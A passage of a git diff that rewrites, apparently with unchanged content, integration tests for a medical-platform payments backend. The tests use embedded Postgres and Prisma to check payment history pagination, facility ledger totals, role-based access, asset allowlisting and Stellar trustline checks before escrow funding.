EmbeddedPostgres from 'embedded-postgres'; -import { createOrderFixture } from './order-fixtures.mjs'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5458; -const runId = Date.now(); -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-payment-history-pg-')); -const pg = new EmbeddedPostgres({ databaseDir: dataDir, user: 'docforum', password: 'docforum', port: PORT, persistent: false }); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_payment_history_test`; - -describe('payment history and facility ledger APIs', () => { - let app: ReturnType; - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - let patientA: { id: string; token: string }; - let patientB: { id: string; token: string }; - let facilityA: { id: string; token: string }; - let facilityB: { id: string; token: string }; - - function token(id: string, role: 'patient' | 'facility') { - return jwt.sign({ sub: id, role }, 'test-access-secret', { expiresIn: '15m' }); - } - - async function createIntent(input: { - patientProfileId: string; - facilityId: string; - status: 'created' | 'escrowed' | 'released' | 'refunded'; - amountStroops: bigint; - createdAt: Date; - }) { - const order = await createOrderFixture(prisma, { - patientProfileId: input.patientProfileId, - facilityProfileId: input.facilityId, - kind: 'lab_order', - amountStroops: input.amountStroops, - tag: `payment-history-${runId}-${Math.random().toString(36).slice(2)}`, - }); - return prisma.paymentIntent.create({ - data: { - labOrderId: order.id, - patientProfileId: input.patientProfileId, - facilityId: input.facilityId, - status: input.status, - amount: input.amountStroops, - assetCode: 'XLM', - createdAt: input.createdAt, - ...(input.status === 'escrowed' || input.status === 'released' || input.status === 'refunded' - ? { escrowId: input.amountStroops + 1n, stellarTxHash: 'a'.repeat(64), sorobanContractId: 'C'.repeat(56) } - : {}), - }, - }); - } - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_payment_history_test'); - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - process.env.DATABASE_URL = databaseUrl; - - const dbModule = await import('../../src/db/prisma-client.js'); - prisma = dbModule.prisma; - app = (await import('../../src/app.js')).createApp(); - - async function makePatient(label: string) { - const user = await prisma.user.create({ - data: { email: `${label}-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, - }); - const profile = await prisma.patientProfile.create({ data: { userId: user.id, fullName: label } }); - return { id: profile.id, token: token(user.id, 'patient') }; - } - - async function makeFacility(label: string) { - const user = await prisma.user.create({ - data: { email: `${label}-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - const profile = await prisma.facilityProfile.create({ data: { userId: user.id, name: label, type: 'lab' } }); - return { id: profile.id, token: token(user.id, 'facility') }; - } - - [patientA, patientB, facilityA, facilityB] = await Promise.all([ - makePatient('payment-history-a'), - makePatient('payment-history-b'), - makeFacility('payment-history-facility-a'), - makeFacility('payment-history-facility-b'), - ]); - - const now = Date.now(); - await Promise.all([ - createIntent({ patientProfileId: patientA.id, facilityId: facilityA.id, status: 'escrowed', amountStroops: 9_007_199_254_740_993n, createdAt: new Date(now - 3000) }), - createIntent({ patientProfileId: patientA.id, facilityId: facilityA.id, status: 'released', amountStroops: 20n, createdAt: new Date(now - 2000) }), - createIntent({ patientProfileId: patientA.id, facilityId: facilityA.id, status: 'refunded', amountStroops: 30n, createdAt: new Date(now - 1000) }), - createIntent({ patientProfileId: patientB.id, facilityId: facilityB.id, status: 'escrowed', amountStroops: 900n, createdAt: new Date(now) }), - ]); - }, 180_000); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('returns only the authenticated patient payments with stable cursor pagination', async () => { - const first = await request(app).get('/payments/mine?limit=2').set('Authorization', `Bearer ${patientA.token}`); - expect(first.status).toBe(200); - expect(first.body.items).toHaveLength(2); - expect(first.body.nextCursor).toEqual(expect.any(String)); - expect(first.body.items[0].amount).toBe('30'); - expect(first.body.items[0].refundAfter).toBeNull(); - - const second = await request(app) - .get('/payments/mine') - .query({ limit: 2, cursor: first.body.nextCursor }) - .set('Authorization', `Bearer ${patientA.token}`); - expect(second.status).toBe(200); - expect(second.body.items).toHaveLength(1); - expect(second.body.items[0].amount).toBe('9007199254740993'); - expect(second.body.nextCursor).toBeNull(); - - const otherPatient = await request(app).get('/payments/mine').set('Authorization', `Bearer ${patientB.token}`); - expect(otherPatient.body.items).toHaveLength(1); - expect(otherPatient.body.items[0].amount).toBe('900'); - }); - - it('includes the entire final day when filtering by a date-only to value', async () => { - const payment = await createIntent({ - patientProfileId: patientB.id, - facilityId: facilityB.id, - status: 'created', - amountStroops: 40n, - createdAt: new Date('2020-01-02T23:59:59.500Z'), - }); - - const response = await request(app) - .get('/payments/mine?from=2020-01-02&to=2020-01-02') - .set('Authorization', `Bearer ${patientB.token}`); - - expect(response.status).toBe(200); - expect(response.body.items).toHaveLength(1); - expect(response.body.items[0].id).toBe(payment.id); - await prisma.paymentIntent.delete({ where: { id: payment.id } }); - }); - - it('returns facility-owned rows and exact SQL totals across statuses', async () => { - const response = await request(app) - .get('/payments/facility/ledger?status=escrowed') - .set('Authorization', `Bearer ${facilityA.token}`); - expect(response.status).toBe(200); - expect(response.body.items).toHaveLength(1); - expect(response.body.items[0].amount).toBe('9007199254740993'); - expect(response.body.items[0].stellarTxHash).toBe('a'.repeat(64)); - expect(response.body.items[0].asset).toEqual({ type: 'native', code: 'XLM' }); - expect(response.body.totals).toEqual([ - { - asset: { type: 'native', code: 'XLM' }, - escrowed: '9007199254740993', - released: '20', - refunded: '30', - }, - ]); - - const otherFacility = await request(app) - .get('/payments/facility/ledger') - .set('Authorization', `Bearer ${facilityB.token}`); - expect(otherFacility.body.items).toHaveLength(1); - expect(otherFacility.body.totals[0].escrowed).toBe('900'); - }); - - it('rejects cross-role access and invalid query filters', async () => { - expect((await request(app).get('/payments/mine').set('Authorization', `Bearer ${facilityA.token}`)).status).toBe(403); - expect((await request(app).get('/payments/facility/ledger').set('Authorization', `Bearer ${patientA.token}`)).status).toBe(403); - expect((await request(app).get('/payments/mine?unknown=true').set('Authorization', `Bearer ${patientA.token}`)).status).toBe(400); - expect((await request(app).get('/payments/mine?from=2026-10-20&to=2026-10-19').set('Authorization', `Bearer ${patientA.token}`)).status).toBe(400); - }); +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import jwt from 'jsonwebtoken'; +import EmbeddedPostgres from 'embedded-postgres'; +import { createOrderFixture } from './order-fixtures.mjs'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5458; +const runId = Date.now(); +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-payment-history-pg-')); +const pg = new EmbeddedPostgres({ databaseDir: dataDir, user: 'docforum', password: 'docforum', port: PORT, persistent: false }); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_payment_history_test`; + +describe('payment history and facility ledger APIs', () => { + let app: ReturnType; + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + let patientA: { id: string; token: string }; + let patientB: { id: string; token: string }; + let facilityA: { id: string; token: string }; + let facilityB: { id: string; token: string }; + + function token(id: string, role: 'patient' | 'facility') { + return jwt.sign({ sub: id, role }, 'test-access-secret', { expiresIn: '15m' }); + } + + async function createIntent(input: { + patientProfileId: string; + facilityId: string; + status: 'created' | 'escrowed' | 'released' | 'refunded'; + amountStroops: bigint; + createdAt: Date; + }) { + const order = await createOrderFixture(prisma, { + patientProfileId: input.patientProfileId, + facilityProfileId: input.facilityId, + kind: 'lab_order', + amountStroops: input.amountStroops, + tag: `payment-history-${runId}-${Math.random().toString(36).slice(2)}`, + }); + return prisma.paymentIntent.create({ + data: { + labOrderId: order.id, + patientProfileId: input.patientProfileId, + facilityId: input.facilityId, + status: input.status, + amount: input.amountStroops, + assetCode: 'XLM', + createdAt: input.createdAt, + ...(input.status === 'escrowed' || input.status === 'released' || input.status === 'refunded' + ? { escrowId: input.amountStroops + 1n, stellarTxHash: 'a'.repeat(64), sorobanContractId: 'C'.repeat(56) } + : {}), + }, + }); + } + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_payment_history_test'); + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + process.env.DATABASE_URL = databaseUrl; + + const dbModule = await import('../../src/db/prisma-client.js'); + prisma = dbModule.prisma; + app = (await import('../../src/app.js')).createApp(); + + async function makePatient(label: string) { + const user = await prisma.user.create({ + data: { email: `${label}-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, + }); + const profile = await prisma.patientProfile.create({ data: { userId: user.id, fullName: label } }); + return { id: profile.id, token: token(user.id, 'patient') }; + } + + async function makeFacility(label: string) { + const user = await prisma.user.create({ + data: { email: `${label}-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + const profile = await prisma.facilityProfile.create({ data: { userId: user.id, name: label, type: 'lab' } }); + return { id: profile.id, token: token(user.id, 'facility') }; + } + + [patientA, patientB, facilityA, facilityB] = await Promise.all([ + makePatient('payment-history-a'), + makePatient('payment-history-b'), + makeFacility('payment-history-facility-a'), + makeFacility('payment-history-facility-b'), + ]); + + const now = Date.now(); + await Promise.all([ + createIntent({ patientProfileId: patientA.id, facilityId: facilityA.id, status: 'escrowed', amountStroops: 9_007_199_254_740_993n, createdAt: new Date(now - 3000) }), + createIntent({ patientProfileId: patientA.id, facilityId: facilityA.id, status: 'released', amountStroops: 20n, createdAt: new Date(now - 2000) }), + createIntent({ patientProfileId: patientA.id, facilityId: facilityA.id, status: 'refunded', amountStroops: 30n, createdAt: new Date(now - 1000) }), + createIntent({ patientProfileId: patientB.id, facilityId: facilityB.id, status: 'escrowed', amountStroops: 900n, createdAt: new Date(now) }), + ]); + }, 180_000); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('returns only the authenticated patient payments with stable cursor pagination', async () => { + const first = await request(app).get('/payments/mine?limit=2').set('Authorization', `Bearer ${patientA.token}`); + expect(first.status).toBe(200); + expect(first.body.items).toHaveLength(2); + expect(first.body.nextCursor).toEqual(expect.any(String)); + expect(first.body.items[0].amount).toBe('30'); + expect(first.body.items[0].refundAfter).toBeNull(); + + const second = await request(app) + .get('/payments/mine') + .query({ limit: 2, cursor: first.body.nextCursor }) + .set('Authorization', `Bearer ${patientA.token}`); + expect(second.status).toBe(200); + expect(second.body.items).toHaveLength(1); + expect(second.body.items[0].amount).toBe('9007199254740993'); + expect(second.body.nextCursor).toBeNull(); + + const otherPatient = await request(app).get('/payments/mine').set('Authorization', `Bearer ${patientB.token}`); + expect(otherPatient.body.items).toHaveLength(1); + expect(otherPatient.body.items[0].amount).toBe('900'); + }); + + it('includes the entire final day when filtering by a date-only to value', async () => { + const payment = await createIntent({ + patientProfileId: patientB.id, + facilityId: facilityB.id, + status: 'created', + amountStroops: 40n, + createdAt: new Date('2020-01-02T23:59:59.500Z'), + }); + + const response = await request(app) + .get('/payments/mine?from=2020-01-02&to=2020-01-02') + .set('Authorization', `Bearer ${patientB.token}`); + + expect(response.status).toBe(200); + expect(response.body.items).toHaveLength(1); + expect(response.body.items[0].id).toBe(payment.id); + await prisma.paymentIntent.delete({ where: { id: payment.id } }); + }); + + it('returns facility-owned rows and exact SQL totals across statuses', async () => { + const response = await request(app) + .get('/payments/facility/ledger?status=escrowed') + .set('Authorization', `Bearer ${facilityA.token}`); + expect(response.status).toBe(200); + expect(response.body.items).toHaveLength(1); + expect(response.body.items[0].amount).toBe('9007199254740993'); + expect(response.body.items[0].stellarTxHash).toBe('a'.repeat(64)); + expect(response.body.items[0].asset).toEqual({ type: 'native', code: 'XLM' }); + expect(response.body.totals).toEqual([ + { + asset: { type: 'native', code: 'XLM' }, + escrowed: '9007199254740993', + released: '20', + refunded: '30', + }, + ]); + + const otherFacility = await request(app) + .get('/payments/facility/ledger') + .set('Authorization', `Bearer ${facilityB.token}`); + expect(otherFacility.body.items).toHaveLength(1); + expect(otherFacility.body.totals[0].escrowed).toBe('900'); + }); + + it('rejects cross-role access and invalid query filters', async () => { + expect((await request(app).get('/payments/mine').set('Authorization', `Bearer ${facilityA.token}`)).status).toBe(403); + expect((await request(app).get('/payments/facility/ledger').set('Authorization', `Bearer ${patientA.token}`)).status).toBe(403); + expect((await request(app).get('/payments/mine?unknown=true').set('Authorization', `Bearer ${patientA.token}`)).status).toBe(400); + expect((await request(app).get('/payments/mine?from=2026-10-20&to=2026-10-19').set('Authorization', `Bearer ${patientA.token}`)).status).toBe(400); + }); }); \ No newline at end of file diff --git a/backend/tests/integration/payments-assets.test.mts b/backend/tests/integration/payments-assets.test.mts index f2e6271d..517f170d 100644 --- a/backend/tests/integration/payments-assets.test.mts +++ b/backend/tests/integration/payments-assets.test.mts @@ -1,227 +1,227 @@ -// Issue #79 integration coverage: PaymentIntent is denominated in an -// allowlisted asset (USDC + native XLM), amounts are stored in that asset's -// smallest unit, an unknown asset is rejected, and funding checks the -// payee's trustline before any on-chain call. -// -// Real Postgres (embedded, port 5439) and the module's own services; the -// SDK and Horizon are substituted through the module's existing test seams, -// so no network is involved. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import EmbeddedPostgres from 'embedded-postgres'; -import { Keypair } from '@stellar/stellar-sdk'; -import { createOrderFixture } from './order-fixtures.mjs'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5461; -const runId = Date.now(); - -const NATIVE_SAC = 'CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC'; -const USDC_SAC = 'CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA'; -const USDC_ISSUER = 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5'; - -// Must be set before src/config is imported (dynamic import in beforeAll). -process.env.PAYMENT_ASSETS = JSON.stringify([ - { code: 'XLM', tokenContractId: NATIVE_SAC, decimals: 7 }, - { code: 'USDC', tokenContractId: USDC_SAC, decimals: 7, issuer: USDC_ISSUER }, -]); -process.env.ESCROW_TOKEN_ID = NATIVE_SAC; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-assets-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_assets_test`; -const TEST_ACTOR = { userId: null, role: null, requestId: `assets-${runId}` }; - -/** Vitest's rejects matchers don't reliably see custom Error fields, so grab - * the rejection and assert the fields directly. */ -async function captureError(thunk: () => unknown): Promise<{ status?: number; code?: string }> { - try { - await thunk(); - } catch (err) { - return err as { status?: number; code?: string }; - } - throw new Error('Expected the promise to reject, but it resolved.'); -} - -describe('payment assets (issue #79)', () => { - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - let paymentsService: typeof import('../../src/modules/payments/services/index.js'); - let facilityId: string; - let patientProfileId: string; - let payoutWallet: string; - - const sdkCalls: Array<{ token: string; amount: bigint }> = []; - const trustlineCalls: Array<{ account: string; code: string }> = []; - let trustlineResult = true; - - async function createIntent(input: { - kind: 'prescription' | 'lab_order'; - assetCode: string; - amount: bigint; - facilityId?: string; - }) { - const order = await createOrderFixture(prisma, { - patientProfileId, - facilityProfileId: input.facilityId ?? facilityId, - kind: input.kind, - amountStroops: input.amount, - tag: `assets-${runId}-${Math.random().toString(36).slice(2)}`, - }); - return paymentsService.createPaymentIntent({ - orderType: input.kind, - orderId: order.id, - patientProfileId, - facilityId: input.facilityId ?? facilityId, - assetCode: input.assetCode, - amount: input.amount, - }); - } - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_assets_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - process.env.DATABASE_URL = databaseUrl; - process.env.PLATFORM_PAYER_SECRET = Keypair.random().secret(); - process.env.PLATFORM_RELEASER_SECRET = Keypair.random().secret(); - process.env.ESCROW_CONTRACT_ID = 'CTESTCONTRACT'; - process.env.ESCROW_TOKEN_ID = NATIVE_SAC; - - const dbModule = await import('../../src/db/prisma-client.js'); - prisma = dbModule.prisma; - paymentsService = await import('../../src/modules/payments/services/index.js'); - - paymentsService.setEscrowSdkForTests({ - Keypair, - EscrowClient: class { - async createEscrow(params: { token: string; amount: bigint }) { - sdkCalls.push({ token: params.token, amount: params.amount }); - return { escrowId: 7n, txHash: 'funded-hash' }; - } - }, - } as never); - paymentsService.setTrustlineCheckerForTests(async (account, asset) => { - trustlineCalls.push({ account, code: asset.code }); - return trustlineResult; - }); - - const facilityUser = await prisma.user.create({ - data: { email: `facility-assets-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - facilityId = ( - await prisma.facilityProfile.create({ - data: { userId: facilityUser.id, name: 'Asset Facility', type: 'pharmacy' }, - }) - ).id; - - const patientUser = await prisma.user.create({ - data: { email: `patient-assets-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, - }); - patientProfileId = ( - await prisma.patientProfile.create({ data: { userId: patientUser.id, fullName: 'Asset Patient' } }) - ).id; - - payoutWallet = Keypair.random().publicKey(); - await paymentsService.linkWallet(facilityId, payoutWallet); - }, 180_000); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('stores the asset and its token contract on the intent', async () => { - const intent = await createIntent({ kind: 'prescription', assetCode: 'USDC', amount: 25_000_000n }); - - expect(intent.assetCode).toBe('USDC'); - expect(intent.tokenContractId).toBe(USDC_SAC); - expect(intent.amount).toBe(25_000_000n); - }); - - it('rejects an asset that is not on the environment allowlist', async () => { - const error = await captureError(() => - paymentsService.createPaymentIntent({ - orderType: 'prescription', - orderId: `eur-${runId}`, - patientProfileId, - facilityId, - assetCode: 'EUR', - amount: 100n, - }), - ); - expect(error.status).toBe(400); - expect(error.code).toBe('UNSUPPORTED_PAYMENT_ASSET'); - }); - - it('checks the payee trustline and funds in USDC', async () => { - trustlineResult = true; - trustlineCalls.length = 0; - sdkCalls.length = 0; - - const intent = await createIntent({ kind: 'lab_order', assetCode: 'USDC', amount: 12_500_000n }); - const funded = await paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id); - - expect(funded.status).toBe('escrowed'); - expect(trustlineCalls).toEqual([{ account: payoutWallet, code: 'USDC' }]); - expect(sdkCalls).toEqual([{ token: USDC_SAC, amount: 12_500_000n }]); - }); - - it('refuses to fund when the payee has no trustline, before calling the SDK', async () => { - trustlineResult = false; - sdkCalls.length = 0; - - const intent = await createIntent({ kind: 'lab_order', assetCode: 'USDC', amount: 100n }); - - const error = await captureError(() => paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id)); - expect(error.status).toBe(409); - expect(error.code).toBe('PAYEE_TRUSTLINE_MISSING'); - expect(sdkCalls).toHaveLength(0); - expect((await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } })).status).toBe('created'); - }); - - it('skips the trustline check for native XLM', async () => { - trustlineCalls.length = 0; - sdkCalls.length = 0; - - const intent = await createIntent({ kind: 'prescription', assetCode: 'XLM', amount: 500_000n }); - const funded = await paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id); - - expect(funded.status).toBe('escrowed'); - expect(trustlineCalls).toHaveLength(0); - expect(sdkCalls).toEqual([{ token: NATIVE_SAC, amount: 500_000n }]); - }); - - it('resolves the legacy null token contract to ESCROW_TOKEN_ID', async () => { - sdkCalls.length = 0; - // A row created before issue #79: no tokenContractId, native XLM only. - const created = await createIntent({ kind: 'prescription', assetCode: 'XLM', amount: 1_000_000n }); - const legacy = await prisma.paymentIntent.update({ - where: { id: created.id }, - data: { tokenContractId: null }, - }); - - const funded = await paymentsService.fundPaymentIntent(TEST_ACTOR, legacy.id); - - expect(funded.status).toBe('escrowed'); - expect(funded.tokenContractId).toBe(NATIVE_SAC); - expect(sdkCalls).toEqual([{ token: NATIVE_SAC, amount: 1_000_000n }]); - }); -}); +// Issue #79 integration coverage: PaymentIntent is denominated in an +// allowlisted asset (USDC + native XLM), amounts are stored in that asset's +// smallest unit, an unknown asset is rejected, and funding checks the +// payee's trustline before any on-chain call. +// +// Real Postgres (embedded, port 5439) and the module's own services; the +// SDK and Horizon are substituted through the module's existing test seams, +// so no network is involved. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import EmbeddedPostgres from 'embedded-postgres'; +import { Keypair } from '@stellar/stellar-sdk'; +import { createOrderFixture } from './order-fixtures.mjs'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5461; +const runId = Date.now(); + +const NATIVE_SAC = 'CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC'; +const USDC_SAC = 'CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA'; +const USDC_ISSUER = 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5'; + +// Must be set before src/config is imported (dynamic import in beforeAll). +process.env.PAYMENT_ASSETS = JSON.stringify([ + { code: 'XLM', tokenContractId: NATIVE_SAC, decimals: 7 }, + { code: 'USDC', tokenContractId: USDC_SAC, decimals: 7, issuer: USDC_ISSUER }, +]); +process.env.ESCROW_TOKEN_ID = NATIVE_SAC; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-assets-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_assets_test`; +const TEST_ACTOR = { userId: null, role: null, requestId: `assets-${runId}` }; + +/** Vitest's rejects matchers don't reliably see custom Error fields, so grab + * the rejection and assert the fields directly. */ +async function captureError(thunk: () => unknown): Promise<{ status?: number; code?: string }> { + try { + await thunk(); + } catch (err) { + return err as { status?: number; code?: string }; + } + throw new Error('Expected the promise to reject, but it resolved.'); +} + +describe('payment assets (issue #79)', () => { + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + let paymentsService: typeof import('../../src/modules/payments/services/index.js'); + let facilityId: string; + let patientProfileId: string; + let payoutWallet: string; + + const sdkCalls: Array<{ token: string; amount: bigint }> = []; + const trustlineCalls: Array<{ account: string; code: string }> = []; + let trustlineResult = true; + + async function createIntent(input: { + kind: 'prescription' | 'lab_order'; + assetCode: string; + amount: bigint; + facilityId?: string; + }) { + const order = await createOrderFixture(prisma, { + patientProfileId, + facilityProfileId: input.facilityId ?? facilityId, + kind: input.kind, + amountStroops: input.amount, + tag: `assets-${runId}-${Math.random().toString(36).slice(2)}`, + }); + return paymentsService.createPaymentIntent({ + orderType: input.kind, + orderId: order.id, + patientProfileId, + facilityId: input.facilityId ?? facilityId, + assetCode: input.assetCode, + amount: input.amount, + }); + } + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_assets_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + process.env.DATABASE_URL = databaseUrl; + process.env.PLATFORM_PAYER_SECRET = Keypair.random().secret(); + process.env.PLATFORM_RELEASER_SECRET = Keypair.random().secret(); + process.env.ESCROW_CONTRACT_ID = 'CTESTCONTRACT'; + process.env.ESCROW_TOKEN_ID = NATIVE_SAC; + + const dbModule = await import('../../src/db/prisma-client.js'); + prisma = dbModule.prisma; + paymentsService = await import('../../src/modules/payments/services/index.js'); + + paymentsService.setEscrowSdkForTests({ + Keypair, + EscrowClient: class { + async createEscrow(params: { token: string; amount: bigint }) { + sdkCalls.push({ token: params.token, amount: params.amount }); + return { escrowId: 7n, txHash: 'funded-hash' }; + } + }, + } as never); + paymentsService.setTrustlineCheckerForTests(async (account, asset) => { + trustlineCalls.push({ account, code: asset.code }); + return trustlineResult; + }); + + const facilityUser = await prisma.user.create({ + data: { email: `facility-assets-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + facilityId = ( + await prisma.facilityProfile.create({ + data: { userId: facilityUser.id, name: 'Asset Facility', type: 'pharmacy' }, + }) + ).id; + + const patientUser = await prisma.user.create({ + data: { email: `patient-assets-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, + }); + patientProfileId = ( + await prisma.patientProfile.create({ data: { userId: patientUser.id, fullName: 'Asset Patient' } }) + ).id; + + payoutWallet = Keypair.random().publicKey(); + await paymentsService.linkWallet(facilityId, payoutWallet); + }, 180_000); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('stores the asset and its token contract on the intent', async () => { + const intent = await createIntent({ kind: 'prescription', assetCode: 'USDC', amount: 25_000_000n }); + + expect(intent.assetCode).toBe('USDC'); + expect(intent.tokenContractId).toBe(USDC_SAC); + expect(intent.amount).toBe(25_000_000n); + }); + + it('rejects an asset that is not on the environment allowlist', async () => { + const error = await captureError(() => + paymentsService.createPaymentIntent({ + orderType: 'prescription', + orderId: `eur-${runId}`, + patientProfileId, + facilityId, + assetCode: 'EUR', + amount: 100n, + }), + ); + expect(error.status).toBe(400); + expect(error.code).toBe('UNSUPPORTED_PAYMENT_ASSET'); + }); + + it('checks the payee trustline and funds in USDC', async () => { + trustlineResult = true; + trustlineCalls.length = 0; + sdkCalls.length = 0; + + const intent = await createIntent({ kind: 'lab_order', assetCode: 'USDC', amount: 12_500_000n }); + const funded = await paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id); + + expect(funded.status).toBe('escrowed'); + expect(trustlineCalls).toEqual([{ account: payoutWallet, code: 'USDC' }]); + expect(sdkCalls).toEqual([{ token: USDC_SAC, amount: 12_500_000n }]); + }); + + it('refuses to fund when the payee has no trustline, before calling the SDK', async () => { + trustlineResult = false; + sdkCalls.length = 0; + + const intent = await createIntent({ kind: 'lab_order', assetCode: 'USDC', amount: 100n }); + + const error = await captureError(() => paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id)); + expect(error.status).toBe(409); + expect(error.code).toBe('PAYEE_TRUSTLINE_MISSING'); + expect(sdkCalls).toHaveLength(0); + expect((await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } })).status).toBe('created'); + }); + + it('skips the trustline check for native XLM', async () => { + trustlineCalls.length = 0; + sdkCalls.length = 0; + + const intent = await createIntent({ kind: 'prescription', assetCode: 'XLM', amount: 500_000n }); + const funded = await paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id); + + expect(funded.status).toBe('escrowed'); + expect(trustlineCalls).toHaveLength(0); + expect(sdkCalls).toEqual([{ token: NATIVE_SAC, amount: 500_000n }]); + }); + + it('resolves the legacy null token contract to ESCROW_TOKEN_ID', async () => { + sdkCalls.length = 0; + // A row created before issue #79: no tokenContractId, native XLM only. + const created = await createIntent({ kind: 'prescription', assetCode: 'XLM', amount: 1_000_000n }); + const legacy = await prisma.paymentIntent.update({ + where: { id: created.id }, + data: { tokenContractId: null }, + }); + + const funded = await paymentsService.fundPaymentIntent(TEST_ACTOR, legacy.id); + + expect(funded.status).toBe('escrowed'); + expect(funded.tokenContractId).toBe(NATIVE_SAC); + expect(sdkCalls).toEqual([{ token: NATIVE_SAC, amount: 1_000_000n }]); + }); +}); diff --git a/backend/tests/integration/payments-bigint.test.mts b/backend/tests/integration/payments-bigint.test.mts index f0f76929..dbb539f5 100644 --- a/backend/tests/integration/payments-bigint.test.mts +++ b/backend/tests/integration/payments-bigint.test.mts @@ -1,150 +1,150 @@ -// Hermetic BigInt round-trip through Prisma 7's node-postgres driver adapter -// (Phase 8, issue #47). -// -// Why this file exists: the upgrade issue calls out `PaymentIntent.amount` -// (a Prisma `BigInt`, i.e. Postgres `bigint`, i.e. stroop count) as the field -// most likely to break when the Rust query engine is replaced by a driver -// adapter, and names the testnet payment test as its coverage. That test -// requires live testnet credentials *and* a funded platform payer identity -// (see tests/testnet-integration/payments.test.mts), so it cannot run in CI -// and cannot run for a contributor without those secrets β€” which leaves the -// single-risk field the issue cares about with no hermetic guard at all. -// -// This test covers exactly that risk and nothing else: a 64-bit stroop amount -// survives a write and a read through the new adapter without being coerced -// to a JavaScript `number`. The value chosen is 2^53 + 1, which IS -// representable as a Postgres bigint but is NOT representable as a double β€” -// so any silent number coercion would change it (to 2^53) and fail the -// assertion, rather than quietly rounding and passing. -// -// Self-contained embedded Postgres on its own port (5438), same pattern as the -// other files in this directory, so it runs alongside them. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import EmbeddedPostgres from 'embedded-postgres'; -import { 